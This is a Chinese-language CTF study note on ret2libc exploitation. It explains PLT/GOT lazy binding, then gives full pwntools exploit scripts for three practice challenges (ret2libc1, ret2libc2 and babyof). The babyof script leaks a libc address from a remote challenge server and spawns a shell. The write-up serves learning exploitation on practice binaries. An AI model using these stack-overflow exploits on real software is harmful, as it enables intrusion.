pwn学习笔记(4)ret2libc

pwn学习笔记(4)

静态链接:

​ 静态链接是由链接器在链接时将库的内容加入到可执行程序中的做法。链接器是一个独立程序,将一个或多个库或目标文件(先前由编译器或汇编器生成)链接到一块生成可执行程序。这里的库指的是静态链接库,Windows下以.lib为后缀,Linux下以.a为后缀。

​ 也就是说将静态链接库中的所有的函数都写入这个ELF文件中,所以会造成该二进制文件极为庞大,因此也会存在很多的可供利用来ret2syscall的gadgets。但是,使用静态链接生成的可执行文件体积较大,包含相同的公共代码,造成浪费。

​ 对于ret2syscall而言,我们能够在程序中找到众多的可以给我们利用的gadgets,主要是因为二进制程序是静态链接程序,正因为如此,存在众多的gadgets,给我们构造系统调用。

动态链接:

1.简述:

​ 动态链接(Dynamic Linking),把链接这个过程推迟到了运行时再进行,在可执行文件装载时或运行时,由操作系统的装载程序加载库。这里的库指的是动态链接库,Windows下以.dll为后缀,Linux下以.so为后缀。

​ 动态链接可以大规模减小ELF文件的大小,几乎动态链接库中的文件不用直接写入ELF文件中,因此,ELF文件中就缺少足够的gadgets可供构造出系统调用。

​ 对于动态链接的程序而言,如果遇到一个需要的存在于动态链接库中的函数,例如:puts(),system(),printf()等等,这个时候,因为这些程序并没有写入ELF文件中,因此,这是就需要从栈和堆之间的shared libraries段去查找相关的函数的代码以及一些全局变量,例如:“/bin/sh”。

​ 那么,动态链接应该如何进行呢?

​ 在正式讲述这个过程之前,首先需要知道两个东西:

​ 1、用来存放外部函数地址的数据段:全局偏移表GOT, Global Offset Table)

​ 2、用来获取数据段记录的外部函数地址的代码:程序链接表PLT,Procedure Link Table)

​ 3、为了安全起见,shared libraries段所存放的动态链接的函数的代码的基地址是随机的,但是每个函数相对于基地址的偏移量是相同的。

​ 4.延迟绑定:只有动态库函数在被调用时,才会地址解析和重定位工作。

​ 对于plt表和got表的简述:

​ plt表存放了一部分的代码,用于跳转到got表中被调用函数相对应的地址。

​ got表存放了在shared libraries段中的相对的代码的正确的地址。

2.过程:

第一次调用(以printf()举例):

​ 首先展示一下相关的代码:

pwn学习笔记(4)ret2libc_第1张图片

​ 首先是在text段中执行了call puts@plt,这个时候,程序执行流来到了plt段中的puts函数相关的代码,也就是jmp *(puts@got),再之后,程序执行流跳转到了.got.plt段中的相关的地址,但是,因为进程是第一次调用的puts函数,因此,got表中,puts函数对应的地址为puts@plt+1,因此回到了额push index,回到plt表的目的是为了解析puts函数的实际地址,然后执行 jmp PLT0 ,跳转到plt头部,为dl_runtime_resolve函数传参,之后执行PLT0的两个结束后,也就是完成了传参后,dl_runtime_resolve函数就会开始解析puts函数真正的地址,并填入got.plt表中,之后,got.plt中保存的就是puts函数真正的地址,之后返回到text段的call puts@plt重新调用puts函数,跳转到plt表的jmp *(puts@got)代码,之后跳转到got.plt表,因为got.plt存放的就是puts函数的真实地址,所以,程序执行流就会调转到puts函数的真实地址以调用该函数。

第二次调用:

​ 程序执行流在text段执行了call puts@plt,之后跳转到plt执行jmp *(puts@got),随后直接跳转到got.plt表中,紧接着跳转到puts函数所在的动态链接库中的真实地址。

浅谈函数调用中的参数传递:

​ 某些情况,例如以如下程序为例:

#include 
#include 
int main()
{
   	system("/bin/sh");
    return 0;
}

​ 但程序执行到system函数的时候,原本此时的栈的当前位置为:

pwn学习笔记(4)ret2libc_第2张图片

​ 也就是说,程序还没有执行到call system时(假设此时是以静态链接的ELF文件),栈的栈顶是如上图所示,但是,当call system代码执行时,将会将ip寄存器的值向下移一位的值压入栈中,然后跳转到system函数的第一行也就是push bp,经过这两个操作后,栈的情况会如下图所示,对了,arg1因为调用的是system(“/bin/sh”)的原因,arg1存储的值会是"/bin/sh"的地址,如下图所示:

pwn学习笔记(4)ret2libc_第3张图片

​ 因此,传参的时候,system想要获取到"/bin/sh"的地址,就需要跳过bp、return_addr这两个字长,才能够获取到参数"/bin/sh"的地址。

ret2libc:

1.情况1:

题目案例:CTF-Wiki–ret2libc1:

​ 拿到题目之后,先检查检查这个题目的保护以及架构:

root@g01den-virtual-machine:/mnt/shared# checksec ret2libc1 
[*] '/mnt/shared/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

​ 老样子,还是只开启了NX保护,32位小端序,之后通过IDA反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  retur
 }

​ 发现危险函数gets(),之后从函数窗口中查到了secure函数,怀疑该函数时一个后门函数:

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf("%d", &input);
  if ( input == secretcode )
    system("shell!?");
}

​ 但是,system()函数的参数确实"shell!?“,很明显,这个并不是一个正确的调用shell的一个方式。不过这里却给予了我们另一条路,因为开启了NX保护,所以无法使用ret2shellcode的方式来完成这个题目,因为是动态链接的题目,所以考虑ret2syscall的做法也不切合实际。那么,这里或许应该考虑别的方法了,也就是ret2libc,因为这里尝试调用了system()函数,因此或许存在system的plt表项,那么这个题目的思路就很明显了,那就是通过栈溢出修改ret_addr的地址位system函数的plt表,之后传入一字长的垃圾数据(这里传入的一字长垃圾数据为的是增加偏移量,因为在system函数传参的时候,要绕过bp寄存器以及返回地址来取”/bin/sh"这一参数,所以,可知,需要绕过两个字长取参数),再然后填入"/bin/sh"的地址即可。

​ 分析到这里,做题的思路大概也清楚了,之后,就是找到需要的信息。

​ 在IDA中分析道,system@plt 的地址为:

.plt:08048460                 jmp     ds:off_804A018

​ 通过ROPgadget找到"/bin/sh"的地址为:

root@g01den-virtual-machine:/mnt/shared# ROPgadget --binary ret2libc1 --string "/bin/sh"
Strings information
============================================================
0x08048720 : /bin/sh

​ 然后通过gdb调试来查找栈的偏移长度,在main函数上下一个断点,之后等到执行完gets函数之后,再传入一定个数的垃圾数据,比如全是A,之后通过stack命令查看栈的情况:

pwndbg> stack 100───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd420 —▸ 0xffffd43c ◂— 'AAAAAAAAAAAAAA'
01:0004│-084 0xffffd424 ◂— 0x0
02:0008│-080 0xffffd428 ◂— 0x1
03:000c│-07c 0xffffd42c ◂— 0x0
04:0010│-078 0xffffd430 —▸ 0xf7fc4570 (__kernel_vsyscall) ◂— push ecx
05:0014│-074 0xffffd434 ◂— 0xffffffff
06:0018│-070 0xffffd438 —▸ 0x8048034 ◂— push es
07:001c│ eax 0xffffd43c ◂— 'AAAAAAAAAAAAAA'
... ↓        2 skipped
0a:0028│-060 0xffffd448 ◂— 0x4141 /* 'AA' */
0b:002c│-05c 0xffffd44c —▸ 0xffffd5fc ◂— 0x20 /* ' ' */
0c:0030│-058 0xffffd450 ◂— 0x0
0d:0034│-054 0xffffd454 ◂— 0x0
0e:0038│-050 0xffffd458 ◂— 0x1000000
0f:003c│-04c 0xffffd45c ◂— 9 /* '\t' */
10:0040│-048 0xffffd460 —▸ 0xf7fc4570 (__kernel_vsyscall) ◂— push ecx
11:0044│-044 0xffffd464 ◂— 0x0
12:0048│-040 0xffffd468 —▸ 0xf7c184be ◂— '_dl_audit_preinit'
13:004c│-03c 0xffffd46c —▸ 0xf7e2a054 ([email protected]) —▸ 0xf7fdde10 (_dl_audit_preinit) ◂— endbr32 
14:0050│-038 0xffffd470 —▸ 0xf7fbe4a0 —▸ 0xf7c00000 ◂— 0x464c457f
15:0054│-034 0xffffd474 —▸ 0xf7fd6f90 (_dl_fixup+240) ◂— mov edi, eax
16:0058│-030 0xffffd478 —▸ 0xf7c184be ◂— '_dl_audit_preinit'
17:005c│-02c 0xffffd47c —▸ 0xf7fbe4a0 —▸ 0xf7c00000 ◂— 0x464c457f
18:0060│-028 0xffffd480 —▸ 0xffffd4c0 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
19:0064│-024 0xffffd484 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...
1a:0068│-020 0xffffd488 —▸ 0xf7fbeb10 —▸ 0xf7c1acc6 ◂— 'GLIBC_PRIVATE'
1b:006c│-01c 0xffffd48c ◂— 0x1
1c:0070│-018 0xffffd490 ◂— 0x1
1d:0074│-014 0xffffd494 ◂— 0x0
1e:0078│-010 0xffffd498 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
1f:007c│-00c 0xffffd49c —▸ 0xf7d20f9b (__init_misc+43) ◂— add esp, 0x10
20:0080│-008 0xffffd4a0 —▸ 0xffffd6e0 ◂— '/mnt/shared/ret2libc1'
21:0084│-004 0xffffd4a4 ◂— 0x70 /* 'p' */
22:0088│ ebp 0xffffd4a8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0

​ 然后根据垃圾数据填入的位置(这里是eax的地址)到ebp的位置之间的长度为:

0xffffd4a8 - 0xffffd43c

​ 计算出来的结果为108,所以,这里需要填入的垃圾数据的长度为112字节。

​ 好了,再之后的脚本编写就很清晰了:

from pwn import *
io = process('./ret2libc1')
bin_sh = 0x08048720
system_plt = 0x08048460
payload = b'a'*112 + p32(system_plt) + b'b'*4 + p32(bin_sh)
io.sendline(payload)
io.interactive()

2.情况2:

题目案例:CTF-Wiki–ret2libc2:

​ 照理来说,这一道题与上一道题相比,并没有什么太大的区别,差别知识查看字符串的时候,会发现查找不到"/bin/sh"这一个字符串,其他的跟上一道题几乎一样。

​ 那么,首先checksec一下,为了后续的方便,这里直接使用python交互式来获取一些信息,用的是ELF()方法,来获取一部分信息:

┌──(root㉿kali)-[/mnt/shared]
└─# python   
Python 3.11.8 (main, Feb  7 2024, 21:52:08) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> elf = ELF('./ret2libc2')
[*] '/mnt/shared/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

​ 很明显,这个题是个开启了NX的32位小端序的程序,那么,拖到IDA里面静态分析一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(s);
  return 0;
}

​ 危险函数很明显,直接就是gets(),然后就可以通过这一点来进行栈溢出,检查下其他函数,发现一个secure函数:

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf(&unk_8048760, &input);
  if ( input == secretcode )
    system("no_shell_QQ");
}

​ 很明显,这道题跟上一道题是差不多的,都在secure函数中存在一个system函数,但是参数却不正确,那么,之前说过,程序中不存在"/bin/sh",所以,这里应该怎么做呢?那就是自己手动写一个进去:通过栈溢出,构造ROP,来调用两个函数,一个gets,另一个是system,因为这俩函数都已经在程序中写了,所以,就提供了这两个函数相关的plt表,那么,既然栈的地址随机化了,也就是说不知道栈的基地址是多少,所以,想往栈上写入"/bin/sh"的可能性就很低,几乎没有,因此就要考虑其他地方,经过查找,发现:bss段存在一个变量:buf2

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)
.bss:0804A080 _bss            ends
.bss:0804A080

​ 那么,就可以很清楚的知道"/bin/sh"应该写入的地址在哪里了,那就是bss段。

​ 知道了buf2的地址,接下来就是找到gets和system函数的地址,以及需要填入的垃圾数据的长度,首先通过python获取两个函数的plt表的地址:

>>> hex(elf.plt["system"])
'0x8048490'
>>> hex(elf.plt["gets"])
'0x8048460'

​ 之后gdb动态调试获取需要的垃圾数据的长度:

pwndbg> stack 40
00:0000│ esp 0xffffd300 —▸ 0xffffd31c ◂— 'AAAAAAAA'
01:0004│-084 0xffffd304 ◂— 0x0
02:0008│-080 0xffffd308 ◂— 0x1
03:000c│-07c 0xffffd30c ◂— 0x0
04:0010│-078 0xffffd310 —▸ 0xf7ffdb9c —▸ 0xf7fc26f0 —▸ 0xf7ffda30 ◂— 0x0
05:0014│-074 0xffffd314 ◂— 0x1
06:0018│-070 0xffffd318 —▸ 0xf7fc2720 —▸ 0x8048354 ◂— inc edi /* 'GLIBC_2.0' */
07:001c│ eax 0xffffd31c ◂— 'AAAAAAAA'
08:0020│-068 0xffffd320 ◂— 'AAAA'
09:0024│-064 0xffffd324 ◂— 0x0
0a:0028│-060 0xffffd328 —▸ 0xf7ffda30 ◂— 0x0
0b:002c│-05c 0xffffd32c ◂— 0x1c
0c:0030│-058 0xffffd330 ◂— 0xffffffff
0d:0034│-054 0xffffd334 —▸ 0xf7fca67c ◂— 0xe
0e:0038│-050 0xffffd338 —▸ 0xf7ffd5e8 (_rtld_global+1512) —▸ 0xf7fca000 ◂— 0x464c457f
0f:003c│-04c 0xffffd33c —▸ 0xffffdfe2 ◂— '/mnt/shared/ret2libc2'
10:0040│-048 0xffffd340 —▸ 0xf7ffcff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x32f34
11:0044│-044 0xffffd344 ◂— 0xc /* '\x0c' */
12:0048│-040 0xffffd348 ◂— 0x0
... ↓        3 skipped
16:0058│-030 0xffffd358 ◂— 0x13
17:005c│-02c 0xffffd35c —▸ 0xf7fc2400 —▸ 0xf7c00000 ◂— 0x464c457f
18:0060│-028 0xffffd360 —▸ 0xf7c216ac ◂— 0x21e04c
19:0064│-024 0xffffd364 —▸ 0xf7fd9d41 (_dl_fixup+225) ◂— mov dword ptr [esp + 0x28], eax                                                                  
1a:0068│-020 0xffffd368 —▸ 0xf7c1c9a2 ◂— '_dl_audit_preinit'
1b:006c│-01c 0xffffd36c —▸ 0xf7fc2400 —▸ 0xf7c00000 ◂— 0x464c457f
1c:0070│-018 0xffffd370 —▸ 0xffffd3a0 —▸ 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
1d:0074│-014 0xffffd374 —▸ 0xf7fc25d8 —▸ 0xf7ffdb9c —▸ 0xf7fc26f0 —▸ 0xf7ffda30 ◂— ...                                                                    
1e:0078│-010 0xffffd378 —▸ 0xf7fc2ab0 —▸ 0xf7c1f22d ◂— 'GLIBC_PRIVATE'
1f:007c│-00c 0xffffd37c ◂— 0x1
20:0080│-008 0xffffd380 ◂— 0x1
21:0084│-004 0xffffd384 ◂— 0x0
22:0088│ ebp 0xffffd388 ◂— 0x0
23:008c│+004 0xffffd38c —▸ 0xf7c237c5 (__libc_start_call_main+117) ◂— add esp, 0x10                                                                       
24:0090│+008 0xffffd390 ◂— 0x1
25:0094│+00c 0xffffd394 —▸ 0xffffd444 —▸ 0xffffd5c2 ◂— '/mnt/shared/ret2libc2'
26:0098│+010 0xffffd398 —▸ 0xffffd44c —▸ 0xffffd5d8 ◂— 'COLORTERM=truecolor'
27:009c│+014 0xffffd39c —▸ 0xffffd3b0 —▸ 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
pwndbg> 0x388 -0x31c
Undefined command: "0x388".  Try "help".
pwndbg> print 0x388 -0x31c
$1 = 108

​ 基本上需要的信息全部都有了,那么就可以进行代码的编写了,基本上思路按照下图所示:

pwn学习笔记(4)ret2libc_第4张图片

​ 这里的思路是无论后续的程序是否崩溃,都跟我们没关系,所以没有平衡栈,平衡栈的写法如下图:

pwn学习笔记(4)ret2libc_第5张图片

​ 因此,最后的exp为(没有平衡栈):

from pwn import *
io = process('./ret2libc2')
gets_plt = 0x8048460
sys_plt = 0x8048490
buf2 = 0x0804A080
payload = b'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(buf2) + p32(buf2)
io.sendline(payload)
io.interactive()

3.情况3:

题目案例:[2021 鹤城杯]babyof:

​ 在做学习CTF-Wiki–ret2libc3的时候可我发现了一系列的问题,就比如说LibcSearcher查找本地运行的程序的libc版本总是出现查找的10个版本全部不匹配之类的情况,很让人头疼,并且也没有找到有效的解决方法,有点凭运气,这个问题先记录在这里,等到以后有机会了再重新编写这个问题。

​ 又因为之前都是做的关于32位程序的ret2libc,所以这里又因为刚好碰到了本地运行的程序的libc版本找不到的情况,因此这里就换一个64的程序来做。

​ 首先,讲一下前置的知识,关于64位程序的函数的传参方式还有其他的一些前置内容。

​ 64位程序与32位程序的函数传参方式是后一定的区别的,32位程序的传参只用到了栈,而64位的程序的传参前六个参数分别用到了rdi,rsi,rdx,rcx,r8,r9这六个寄存器,之后才会用到栈。

​ 另外,对于libc的载入内存,动态链接库载入到内存中的起始地址是部分随机的,不过因为内存分页的概念,会发现每一次运行程序的时候,libc的某一个函数的地址的后三位是不变的,也正因为libc载入内存的起始地址是随机在分页的起始地址,所以会发现每一次运行程序泄露到的函数地址的后三位是相同的,因此,LibcSearcher模块以及其他的相对应的网站工具才能获得正确的libc的版本。

​ 好的,前置的知识差不多就这些了,之后遇到了再说,首先打开题目,第一时间看看保护:

root@g01den-virtual-machine:/mnt/shared# checksec babyof
[*] '/mnt/shared/babyof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

​ 可见,是64为小端序,开启了NX保护,之后静态调试看看,首先是main,左边能找到,发现main里面调用了个函数,是以地址的形式,跟进这个函数:

int sub_400632()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("Do you know how to do buffer overflow?");
  read(0, buf, 0x100uLL);
  return puts("I hope you win");
}

​ 很不错,很明显,这个就是漏洞函数,那么,先用cyclic算一下偏移量,得到的是72:
在这里插入图片描述

​ 之后,还需要ret和pop rdi;ret的gadgets,所以用ROPgadget来查:

root@g01den-virtual-machine:/mnt/shared# ROPgadget --binary babyof --only "pop|ret"
Gadgets information
============================================================
0x000000000040073c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400740 : pop r14 ; pop r15 ; ret
0x0000000000400742 : pop r15 ; ret
0x000000000040073b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400619 : pop rbp ; ret
0x0000000000400743 : pop rdi ; ret
0x0000000000400741 : pop rsi ; pop r15 ; ret
0x000000000040073d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400506 : ret
0x0000000000400870 : ret 0xfffd

Unique gadgets found: 12

​ 发现找到了,地址是0x0000000000400506和0x0000000000400743,之后就是编写攻击脚本:

from LibcSearcher import LibcSearcher
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = remote('node4.anna.nssctf.cn', 28230)
elf = ELF('./babyof')

#第一次调用puts函数,然后泄露puts函数的真实地址
ret = 0x400506
pop_rdi = 0x400743
func_vuln_addr = 0x400632
payload = flat([cyclic(0x40 + 0x08), pop_rdi, elf.got['puts'], elf.plt['puts'], func_vuln_addr])

p.sendlineafter(b"Do you know how to do buffer overflow?\n", payload)
p.recvuntil(b'win\n')

#接收了puts函数的真实地址,ljust之后对齐,再然后就是通过u64打包
puts_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\00'))

libc = LibcSearcher('puts', puts_addr)    #这个函数有两个参数,第一个参数是已经泄露了地址的函数,第二个参数是该函数的地址
libc_base = puts_addr - libc.dump('puts') #使用dump函数得到相对于基地址的偏移地址,然后函数真实地址-偏移地址得到基地址
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')


payload = flat([cyclic(0x40 + 0x08), ret, pop_rdi, str_bin_sh, system_addr])
p.sendlineafter(b"Do you know how to do buffer overflow?\n", payload)

p.interactive()

​ 为啥第二个payload需要加上一个ret的地址,大佬的解释如下:

在这里插入图片描述

​ 最后,运行脚本,在那10个版本中选择,直到拿到正确的为止。
到正确的为止。

你可能感兴趣的:(学习,笔记)